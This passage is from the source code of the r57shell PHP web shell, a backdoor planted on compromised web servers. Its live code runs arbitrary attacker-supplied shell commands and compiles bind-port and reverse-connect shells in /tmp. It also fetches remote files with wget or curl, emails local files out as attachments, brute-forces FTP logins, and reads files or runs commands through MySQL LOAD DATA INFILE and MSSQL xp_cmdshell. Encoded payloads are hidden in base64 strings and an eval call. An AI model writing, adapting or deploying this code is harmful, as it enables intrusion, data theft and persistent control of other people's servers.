1189UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
1190DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
1191ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
11921ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
1193/* $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
1194JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
1195lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
1196FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
11973NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
1198J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
1199oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
1200xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
1201i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
1202dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
1203ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
1204hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
1205*/
1206/* $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
1207IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
1208hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
1209tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
1210XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
12118eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
1212ybmV0LS0+";
1213*/
1214echo $head;
1215eval(base64_decode('ZWNobyAiPHNjcmlwdCBsYW5ndWFnZT1cImphdmFzY3JpcHRcIiBzcmM9XCJodHRwOi8vd3d3Lmdvb2dsZS5jb20/PWRvY3VtZW50LlVSTFwiPiI7DQplY2hvICI8L3NjcmlwdD4iOw=='));
1216echo '</head>';
1217if(empty($_POST['cmd'])) {
1218$serv = array(127,192,172,10);
1219$addr=@explode('.', $_SERVER['SERVER_ADDR']);
1220$current_version = str_replace('.','',$version);
1221if (!in_array($addr[0], $serv)) {
1222@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
1223@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}}
1224echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
1225<tr><td bgcolor=#252525 width=160><font face=tahoma size=2>'.ws(1).'
1226<font face=Webdings size=6><b>!</b></font><b>'.ws(2).base64_decode($shellvic).' <font face=Wingdings size=6><b>N</b></font></b>
1227</font></td><td bgcolor=#252525><font face=tahoma size=-2>';
1228
1229echo ws(2);
1230echo "<b>".date ("d-m-Y H:i:s")."</b>";
1231echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"Show phpinfo()\"><b>phpinfo</b></a> ".$rb;
1232echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"Show variables from php.ini\"><b>php.ini</b></a> ".$rb;
1233echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"View cpu info\"><b>cpu</b></a> ".$rb;
1234echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"View memory info\"><b>mem</b></a> ".$rb;
1235if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"Users list\"><b>users</b></a> ".$rb; }
1236echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"Delete temp files\"><b>tmp</b></a> ".$rb;
1237echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"Delete script from server\"><b>delete</b></a> ".$rb."<br>";
1238echo ws(2);
1239echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));
1240echo ws(2);
1241echo "PHP version: <b>".@phpversion()."</b>";
1242$curl_on = @function_exists('curl_version');
1243echo ws(2);
1244echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
1245echo ws(2);
1246echo "MySQL: <b>";
1247$mysql_on = @function_exists('mysql_connect');
1248if($mysql_on){
1249echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
1250echo ws(2);
1251echo "MSSQL: <b>";
1252$mssql_on = @function_exists('mssql_connect');
1253if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
1254echo ws(2);
1255echo "PostgreSQL: <b>";
1256$pg_on = @function_exists('pg_connect');
1257if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
1258echo ws(2);
1259echo "Oracle: <b>";
1260$ora_on = @function_exists('ocilogon');
1261if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
1262echo "<br>".ws(2);
1263echo "Disable functions : <b>";
1264if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
1265$free = @diskfreespace($dir);
1266if (!$free) {$free = 0;}
1267$all = @disk_total_space($dir);
1268if (!$all) {$all = 0;}
1269$used = $all-$free;
1270$used_percent = @round(100/($all/$free),2);
1271echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
1272echo '</font></td></tr><table>
1273<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
1274<tr><td align=right width=100>';
1275echo $font;
1276if(!$windows){
1277echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1278echo "</td><td>";
1279echo "<font face=tahoma size=-2 color=red><b>";
1280$uname = ex('uname -a');
1281echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
1282if(!$safe_mode){
1283$bsd1 = ex('sysctl -n kern.ostype');
1284$bsd2 = ex('sysctl -n kern.osrelease');
1285$lin1 = ex('sysctl -n kernel.ostype');
1286$lin2 = ex('sysctl -n kernel.osrelease');
1287}
1288if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
1289else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
1290else { $sysctl = "-"; }
1291echo ws(3).$sysctl."<br>";
1292echo ws(3).ex('echo $OSTYPE')."<br>";
1293echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1294$id = ex('id');
1295echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));
1296echo ws(3).$dir;
1297echo ws(3).'( '.perms(@fileperms($dir)).' )';
1298echo "</b></font>";
1299}
1300else
1301{
1302echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1303echo "</td><td>";
1304echo "<font face=tahoma size=-2 color=red><b>";
1305echo ws(3).@substr(@php_uname(),0,120)."<br>";
1306echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1307echo ws(3).@get_current_user()."<br>";
1308echo ws(3).$dir;
1309echo "<br></font>";
1310}
1311echo "</font>";
1312echo "</td></tr></table>";
1313/* if(empty($c1)||empty($c2)) { die(); }
1314$f = '<br>';
1315$f .= base64_decode($c1);
1316$f .= base64_decode($c2); */
1317if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail")
1318 {
1319 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");
1320 mr($language,$res);
1321 $_POST['cmd']="";
1322 }
1323if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
1324 {
1325 if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; }
1326 else
1327 {
1328 $filename = @basename($_POST['loc_file']);
1329 $filedump = @fread($file,@filesize($_POST['loc_file']));
1330 fclose($file);
1331 $content_encoding=$mime_type='';
1332 compress($filename,$filedump,$_POST['compress']);
1333 $attach = array(
1334 "name"=>$filename,
1335 "type"=>$mime_type,
1336 "content"=>$filedump
1337 );
1338 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from hcegroup'; }
1339 if(empty($_POST['from'])) { $_POST['from'] = 'info@hcegroup.net'; }
1340 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
1341 mr($language,$res);
1342 $_POST['cmd']="";
1343 }
1344 }
1345if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
1346{
1347$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
1348}
1349if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
1350 {
1351 switch($_POST['what'])
1352 {
1353 case 'own':
1354 @chown($_POST['param1'],$_POST['param2']);
1355 break;
1356 case 'grp':
1357 @chgrp($_POST['param1'],$_POST['param2']);
1358 break;
1359 case 'mod':
1360 @chmod($_POST['param1'],intval($_POST['param2'], 8));
1361 break;
1362 }
1363 $_POST['cmd']="";
1364 }
1365if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
1366 {
1367 switch($_POST['what'])
1368 {
1369 case 'file':
1370 if($_POST['action'] == "create")
1371 {
1372 if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
1373 else {
1374 fclose($file);
1375 $_POST['e_name'] = $_POST['mk_name'];
1376 $_POST['cmd']="edit_file";
1377 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2><b>File created</b></font></div></td></tr></table>";
1378 }
1379 }
1380 else if($_POST['action'] == "delete")
1381 {
1382 if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2><b>File deleted</b></font></div></td></tr></table>";
1383 $_POST['cmd']="";
1384 }
1385 break;
1386 case 'dir':
1387 if($_POST['action'] == "create"){
1388 if(mkdir($_POST['mk_name']))
1389 {
1390 $_POST['cmd']="";
1391 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2><b>Dir created</b></font></div></td></tr></table>";
1392 }
1393 else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
1394 }
1395 else if($_POST['action'] == "delete"){
1396 if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2><b>Dir deleted</b></font></div></td></tr></table>";
1397 $_POST['cmd']="";
1398 }
1399 break;
1400 }
1401 }
1402if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
1403 {
1404 if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
1405 if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
1406 else {
1407 echo $table_up3;
1408 echo $font;
1409 echo "<form name=save_file method=post>";
1410 echo ws(3)."<b>".$_POST['e_name']."</b>";
1411 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
1412 echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
1413 fclose($file);
1414 echo "</textarea>";
1415 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
1416 echo "<input type=hidden name=dir value=".$dir.">";
1417 echo "<input type=hidden name=cmd value=save_file>";
1418 echo (!empty($only_read)?("<br><br>Can\'t edit file! Only read access!") :("<br><br><input type=submit name=submit value=\"Save\">"));
1419 echo "</div>";
1420 echo "</font>";
1421 echo "</form>";
1422 echo "</td></tr></table>";
1423 exit();
1424 }
1425 }
1426if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
1427 {
1428 if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
1429 else {
1430 @fwrite($file,$_POST['e_text']);
1431 @fclose($file);
1432 $_POST['cmd']="";
1433 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2><b>File saved</b></font></div></td></tr></table>";
1434 }
1435 }
1436if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
1437{
1438 cf("/tmp/bd.c",$port_bind_bd_c);
1439 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
1440 @unlink("/tmp/bd.c");
1441 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
1442 $_POST['cmd']="ps -aux | grep bd";
1443}
1444if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
1445{
1446 cf("/tmp/bdpl",$port_bind_bd_pl);
1447 $p2=which("perl");
1448 if(empty($p2)) $p2="perl";
1449 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
1450 $_POST['cmd']="ps -aux | grep bdpl";
1451}
1452if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
1453{
1454 cf("/tmp/back",$back_connect);
1455 $p2=which("perl");
1456 if(empty($p2)) $p2="perl";
1457 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
1458 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1459}
1460if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
1461{
1462 cf("/tmp/back.c",$back_connect_c);
1463 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
1464 @unlink("/tmp/back.c");
1465 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
1466 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1467}
1468if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
1469{
1470 cf("/tmp/dp",$datapipe_pl);
1471 $p2=which("perl");
1472 if(empty($p2)) $p2="perl";
1473 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
1474 $_POST['cmd']="ps -aux | grep dp";
1475}
1476if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
1477{
1478 cf("/tmp/dpc.c",$datapipe_c);
1479 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
1480 @unlink("/tmp/dpc.c");
1481 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
1482 $_POST['cmd']="ps -aux | grep dpc";
1483}
1484if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
1485if (!empty($HTTP_POST_FILES['userfile']['name']))
1486{
1487if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
1488else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
1489@copy($HTTP_POST_FILES['userfile']['tmp_name'],
1490 $_POST['dir']."/".$nfn)
1491 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
1492}
1493if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
1494{
1495 switch($_POST['with'])
1496 {
1497 case wget:
1498 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
1499 break;
1500 case fetch:
1501 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
1502 break;
1503 case lynx:
1504 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1505 break;
1506 case links:
1507 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1508 break;
1509 case GET:
1510 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1511 break;
1512 case curl:
1513 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
1514 break;
1515 }
1516}
1517if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
1518 {
1519 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
1520 if(empty($ftp_port)) { $ftp_port = 21; }
1521 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
1522 if(!$connection) { fe($language,0); }
1523 else
1524 {
1525 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); }
1526 else
1527 {
1528 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
1529 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
1530 }
1531 }
1532 @ftp_close($connection);
1533 $_POST['cmd'] = "";
1534 }
1535if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
1536 {
1537 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
1538 if(empty($ftp_port)) { $ftp_port = 21; }
1539 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
1540 if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }
1541 else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#252525><font color=red face=tahoma size=-2><div align=center><b>Can\'t get users list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
1542 @ftp_close($connection);
1543 }
1544echo $table_up3;
1545if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
1546else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
1547echo $font."Executed command :<b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
1548if($safe_mode)
1549{
1550 switch($_POST['cmd'])
1551 {
1552 case 'safe_dir':
1553 $d=@dir($dir);
1554 if ($d)
1555 {
1556 while (false!==($file=$d->read()))
1557 {
1558 if ($file=="." || $file=="..") continue;
1559 @clearstatcache();
1560 list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
1561 if($windows){
1562 echo date("d.m.Y H:i",$mtime);
1563 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
1564 }
1565 else{
1566 $owner = @posix_getpwuid($uid);
1567 $grgid = @posix_getgrgid($gid);
1568 echo $inode." ";
1569 echo perms(@fileperms($file));
1570 printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
1571 echo date("d.m.Y H:i ",$mtime);
1572 }
1573 echo "$file\n";
1574 }
1575 $d->close();
1576 }
1577 else echo "ACCESS DENIED";
1578 break;
1579 case 'safe_file':
1580 if(@is_file($_POST['file']))
1581 {
1582 $file = @file($_POST['file']);
1583 if($file)
1584 {
1585 $c = @sizeof($file);
1586 for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
1587 }
1588 else echo "ACCESS DENIED";
1589 }
1590 else echo "File not found";
1591 break;
1592 case 'test1':
1593 $ci = @curl_init("file://".$_POST['test1_file']."");
1594 $cf = @curl_exec($ci);
1595 echo $cf;
1596 break;
1597 case 'test2':
1598 @include($_POST['test2_file']);
1599 break;
1600 case 'test3':
1601 if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
1602 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
1603 if($db)
1604 {
1605 if(@mysql_select_db($_POST['test3_md'],$db))
1606 {
1607 $sql = "DROP TABLE IF EXISTS temp_r57_table;";
1608 @mysql_query($sql);
1609 $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
1610 @mysql_query($sql);
1611 $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
1612 @mysql_query($sql);
1613 $sql = "SELECT * FROM temp_r57_table;";
1614 $r = @mysql_query($sql);
1615 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
1616 $sql = "DROP TABLE IF EXISTS temp_r57_table;";
1617 @mysql_query($sql);
1618 }
1619 else echo "[-] ERROR! Can't select database";
1620 @mysql_close($db);
1621 }
1622 else echo "[-] ERROR! Can't connect to mysql server";
1623 break;
1624 case 'test4':
1625 if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
1626 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
1627 if($db)
1628 {
1629 if(@mssql_select_db($_POST['test4_md'],$db))
1630 {
1631 @mssql_query("drop table r57_temp_table",$db);
1632 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
1633 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
1634 $res = mssql_query("select * from r57_temp_table",$db);
1635 while(($row=@mssql_fetch_row($res)))
1636 {
1637 echo $row[0]."\r\n";
1638 }
1639 @mssql_query("drop table r57_temp_table",$db);
1640 }
1641 else echo "[-] ERROR! Can't select database";
1642 @mssql_close($db);
1643 }
1644 else echo "[-] ERROR! Can't connect to MSSQL server";
1645 break;
1646 }
1647}
1648else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
1649 $cmd_rep = ex($_POST['cmd']);
1650 if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
1651 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
1652if ($_POST['cmd']=="ftp_brute")
1653 {
1654 $suc = 0;
1655 foreach($users as $user)
1656 {
1657 $connection = @ftp_connect($ftp_server,$ftp_port,10);
1658 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
1659 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
1660 @ftp_close($connection);
1661 }
1662 echo "\r\n-------------------------------------\r\n";
1663 $count = count($users);
1664 if(isset($_POST['reverse'])) { $count *= 2; }
1665 echo "checked:".$count."\r\n";
1666 echo "success:".$suc."\r\n";
1667 }
1668if ($_POST['cmd']=="php_eval"){
1669 $eval = @str_replace("<?","",$_POST['php_eval']);
1670 $eval = @str_replace("?>","",$eval);
1671 @eval($eval);}
1672if ($_POST['cmd']=="db_show")
1673 {
1674 switch($_POST['db'])
1675 {
1676 case 'MySQL':
1677 if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
1678 $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
1679 if($db)
1680 {
1681 $res=@mysql_query("\nShow databases;", $db);
1682 while(($row=@mysql_fetch_row($res)))
1683 {
1684 echo "[+] ".$row[0]."\r\n";
1685 if(isset($_POST['st'])){
1686 $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
1687 while(($row2=@mysql_fetch_row($res2)))
1688 {
1689 echo " | - ".$row2[0]."\r\n";
1690 if(isset($_POST['sc']))
1691 {
1692 $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
1693 while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
1694 }
1695 }
1696 }
1697 }
1698 @mysql_close($db);
1699 }
1700 else echo "[-] ERROR! Can't connect to MySQL server";
1701 break;
1702 case 'MSSQL':
1703 if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
1704 $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
1705 if($db)
1706 {
1707 $res=@mssql_query("sp_databases", $db);
1708 while(($row=@mssql_fetch_row($res)))
1709 {
1710 echo "[+] ".$row[0]."\r\n";
1711 if(isset($_POST['st'])){
1712 @mssql_select_db($row[0]);
1713 $res2 = @mssql_query("sp_tables",$db);
1714 while(($row2=@mssql_fetch_array($res2)))
1715 {
1716 if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
1717 {
1718 echo " | - ".$row2['TABLE_NAME']."\r\n";
1719 if(isset($_POST['sc']))
1720 {
1721 $res3 = @mssql_query("sp_columns ".$row2[2],$db);
1722 while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
1723 }
1724 }
1725 }
1726 }
1727 }
1728 @mssql_close($db);
1729 }
1730 else echo "[-] ERROR! Can't connect to MSSQL server";
1731 break;
1732 case 'PostgreSQL':
1733 if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
1734 $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
1735 $db = @pg_connect($str);
1736 if($db)
1737 {
1738 $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
1739 while(($row=@pg_fetch_row($res)))
1740 {
1741 echo "[+] ".$row[0]."\r\n";
1742 }
1743 @pg_close($db);
1744 }
1745 else echo "[-] ERROR! Can't connect to PostgreSQL server";
1746 break;
1747 }
1748 }
1749if ($_POST['cmd']=="mysql_dump")
1750 {
